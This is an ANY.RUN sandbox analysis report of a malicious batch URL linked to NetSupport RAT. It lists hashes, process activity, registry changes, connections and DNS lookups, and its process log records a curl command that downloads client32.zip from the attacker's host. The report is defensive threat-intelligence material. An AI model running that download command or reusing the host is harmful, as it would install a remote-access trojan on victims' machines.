URL:

https://upd5.pro/update/u3.bat

Full analysis: https://app.any.run/tasks/b26292c6-669e-4cbd-b2d8-f52e18490d44
Verdict: Malicious activity
Threats:

NetSupport RAT is a malicious adaptation of the legitimate NetSupport Manager, a remote access tool used for IT support, which cybercriminals exploit to gain unauthorized control over systems. It has gained significant traction due to its sophisticated evasion techniques, widespread distribution campaigns, and the challenge it poses to security professionals who must distinguish between legitimate and malicious uses of the underlying software.

Malware Trends Tracker     >>>
Analysis date: April 15, 2024, 23:53:42
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
netsupport
unwanted
Indicators:
MD5:

2EEE7BC046B6F5266C6E3868E180C121

SHA1:

E679F98817D361618E07CE38DB52375E6AA57A2F

SHA256:

516725D8AECEB3FE7015CA8C6D8F8B6E8D0F23533E08C325121D600D35ADCFFD

SSDEEP:

3:N87LXcPR:27bQR

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • curl.exe (PID: 2064)

    • Starts CMD.EXE for commands execution

      • msedge.exe (PID: 1020)

  • SUSPICIOUS

    • The process drops C-runtime libraries

      • curl.exe (PID: 2064)

    • Executing commands from a ".bat" file

      • msedge.exe (PID: 1020)

    • Process drops legitimate windows executable

      • curl.exe (PID: 2064)

  • INFO

    • Application launched itself

      • msedge.exe (PID: 1020)

    • The process uses the downloaded file

      • msedge.exe (PID: 1020)
      • msedge.exe (PID: 3276)

    • Checks supported languages

      • curl.exe (PID: 2064)

    • Drop NetSupport executable file

      • curl.exe (PID: 2064)

    • Reads the computer name

      • curl.exe (PID: 2064)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
58
Monitored processes
21
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start msedge.exe msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs cmd.exe no specs curl.exe msedge.exe no specs msedge.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
268"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1564 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:3C:\Program Files\Microsoft\Edge\Application\msedge.exe
msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
392"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3908 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
584"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=renderer --first-renderer-process --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2196 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:1C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1020"C:\Program Files\Microsoft\Edge\Application\msedge.exe" "https://upd5.pro/update/u3.bat"C:\Program Files\Microsoft\Edge\Application\msedge.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
1652"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=1656 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2028"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=renderer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2200 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:1C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2064curl -o client32.zip https://upd5.pro/update/client32.zipC:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.5.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2344"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=109.0.5414.149 "--annotation=exe=C:\Program Files\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win32 "--annotation=prod=Microsoft Edge" --annotation=ver=109.0.1518.115 --initial-client-data=0xc8,0xcc,0xd0,0x9c,0xe0,0x6ba5f598,0x6ba5f5a8,0x6ba5f5b4C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Edge
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2436"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3760 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2512"C:\Program Files\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3760 --field-trial-handle=1388,i,15092534583093242181,13597278619594030999,131072 /prefetch:8C:\Program Files\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
109.0.1518.115
Modules
Images
c:\program files\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\microsoft\edge\application\109.0.1518.115\msedge_elf.dll
c:\windows\system32\api-ms-win-core-synch-l1-2-0.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
Total events
7 084
Read events
7 011
Write events
61
Delete events
12

Modification events

(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\ThirdParty
Operation:writeName:StatusCodes
Value:
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\ThirdParty
Operation:writeName:StatusCodes
Value:
01000000
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\EdgeUpdate\ClientState\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}
Operation:writeName:dr
Value:
1
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge\StabilityMetrics
Operation:writeName:user_experience_metrics.stability.exited_cleanly
Value:
0
(PID) Process:(1020) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault
Operation:writeName:S-1-5-21-1302019708-1500728564-335382590-1000
Value:
0033C49DC1742F00
(PID) Process:(1020) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\FirstNotDefault
Operation:delete valueName:S-1-5-21-1302019708-1500728564-335382590-1000
Value:
(PID) Process:(1020) msedge.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Edge
Operation:writeName:UsageStatsInSample
Value:
1
Executable files
0
Suspicious files
17
Text files
42
Unknown types
7

Dropped files

PID
Process
Filename
Type
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.datbinary
MD5:—
SHA256:—
2344msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics.pma~RF18e49e.TMPbinary
MD5:—
SHA256:—
2344msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics.pmabinary
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Variationsbinary
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\54d5bd65-3eca-41cb-b31e-d468bff36641.tmp —
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Local State~RF18e5f6.TMPtext
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Local Statetext
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Last Versiontext
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old~RF18e673.TMPtext
MD5:—
SHA256:—
1020msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old~RF18e673.TMPtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
16
DNS requests
13
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
268
msedge.exe
13.107.21.239:443
edge.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
268
msedge.exe
13.107.42.16:443
config.edge.skype.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
268
msedge.exe
45.77.68.166:443
upd5.pro
AS-CHOOPA
US
unknown
1020
msedge.exe
239.255.255.250:1900
—
—
—
unknown
1020
msedge.exe
224.0.0.251:5353
—
—
—
unknown
268
msedge.exe
204.79.197.239:443
edge.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
unknown

DNS requests

Domain
IP
Reputation
upd5.pro
  • 45.77.68.166
unknown
edge.microsoft.com
  • 13.107.21.239
  • 204.79.197.239
whitelisted
config.edge.skype.com
  • 13.107.42.16
whitelisted
msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com
  • 152.199.21.175
whitelisted
www.bing.com
  • 104.96.169.169
  • 104.96.169.168
  • 104.96.169.146
  • 104.96.169.177
  • 104.96.169.144
  • 104.96.169.147
  • 104.96.169.145
  • 104.96.169.171
  • 104.96.169.176
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
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Reports
https://upd5.pro/update/u3.bat